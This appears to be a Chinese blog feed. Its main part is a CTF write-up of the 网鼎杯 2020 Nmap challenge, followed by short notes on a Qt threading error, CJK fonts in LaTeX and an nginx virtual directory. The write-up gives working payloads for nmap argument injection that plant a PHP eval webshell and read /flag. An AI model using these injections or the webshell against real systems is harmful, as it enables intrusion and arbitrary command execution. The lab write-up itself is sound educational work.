题目:https://buuoj.cn/challenges#[网鼎杯 2020 朱雀组]Nmap
主界面
扫描结果页面
思路很简单,猜测后端php的代码实现类似于<?php system("nmap -xxx '".hostname."'");?>
其中:-xxx指代预先设置的一些nmap参数,hostname是用户输入的IP,前面应该会有对用户输入的hostname进行过滤和检测的代码(然而此题太水,似乎并没有多少限制
所以我们就可以在hostname里进行一些注入操作。
尝试了一些简单的shell语句注入,似乎无果。而且看不到返回的结果,只会弹出“Host maybe down”的提示。也许是被过滤了,shell语句都没有执行的样子。
于是考虑一下nmap有无一些神奇的参数,然后尝试注入一些nmap的参数。
-o[]参数可以将nmap的结果输出到指定的文件中。
测试结果
127.0.0.1 -oN out.txt
访问out.txt得到404
通过结果可以看到,输入内容应该是被引号包裹的。
127.0.0.1' -oN out.txt '
注: 结尾的 '
并非必须,
得到host maybe down的结果。不过,访问**/out.txt**可以看到注入成功了。
1 | # Nmap 6.47 scan initiated Sun May 30 06:11:32 2021 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/ff8a8 -oN out.txt 127.0.0.1\ ' |
通过这返回值,也可以比较精确地推断php源代码了。
1 | <?php system("nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/ff8a8 '" . hostname . "'"); ?> |
不过,对于我们接下来的操作,用处不大。
既然可以访问到写入的文件了,我们只需要控制写入的文件,就可以获取到webshell,比如写入一条一句话木马。
跳过中间的一些尝试,直接看最终的结果吧。
' <?=eval($_GET[cmd]);?> -oN a.phtml '
注1:php字符会被过滤,返回Hacker… 所以使用<?= ?>
的标签,并使用.phtml
文件后缀
注2:由于 **'**
会被转义成**\'
(并不影响操作) 所以最后一个 '
前面加了一个空格,避免文件名和\**连起来
原理:在nmap里,非option参数(-xxx xxx型),也就是单独的参数,就会被当作一个hostname,因为nmap执行的的任何信息都会被写入到文件中(即使这个hostname无效,他也会写入Failed to resolve “[hostname]“),所以,利用这个特性,把php代码当作hostname写入进去。
访问**/a.phtml** 就可以看到写入的🐎了。php标签被php解释器解析了,所以看不到写入的代码。
测试一下。
接下来就是常见的webshell使用了。
payload:a.phtml?cmd=system("cat /flag");
得到flag。
-iL 从文件中读取hosts列表
利用前面提到的-oN特性。直接用-iL读取**/flag**
直接上payload
' -iL /flag -oN flag.txt '
然后访问**/flag.txt**就可以得到flag。
比较水的一题,学习一下nmap的一些特性吧。
]]>如上错误信息。一般在执行QObject::moveToThread
后的对象运行时发生。原因是:线程中有对象的创建与使用不在同一个线程。就比如说对象A的构造函数中new了一个对象B(A构造函数在主线程,所以B是在主线程创建的),但是在把对象A移动到一个新线程后,再使用对象A中的对象B就会出现上述错误信息。**总结:new和使用必须在同个线程**
因此还有一种出现情况:移动到新线程后的对象,应该使用信号/槽通讯,不应该直接调用槽函数,比如A->func()
。因为,直接调用槽函数会在该线程运行函数,而非对象A所在的线程。如果A.func()
中存在在A线程new的对象B(出现new B与使用B不在同个线程),根据上面的结论,提示出错。
如果弄不清楚线程的情况,可以使用qDebug()<<QThread::currentThreadId();
(header:
如果没有配置CJK汉字的字体,就会导致输出的pdf文件中汉字消失或乱码。
1 | \documentclass[11pt]{article} |
注:中文字体可选,不一定是Noto Sans CJK SC,也要注意字体名称和字体文件名不同。如果需要获取字体名称,可以借助其他软件里设置字体查看。
3.运行命令:xelatex xxx.tex
经典的前情提要:
没有面板。手写nginx配置文件。前些日子整了个phpMyAdmin,但是放在网页的根路径下不太安全,要是被扫出来了绝对少不了爆破。于是就想把他放到一个子目录下,但是子目录名称又不想和物理路径的目录相同。那就必然只能整虚拟目录。
nginx的配置资料真是难找。。
Nginx实现虚拟目录无非就是用alias和rewrite。Nginx官方文档对虚拟目录(alias)的描述很少。网上的资料比较少,要么无用要么语法不够精简。但最终还是找到了解决方案。
1 | location /x1 { |
注:中间的x1为虚拟目录名,x2随意(变量名)。alias后跟物理路径。php-fpm连接需要根据php版本修改一下。
]]>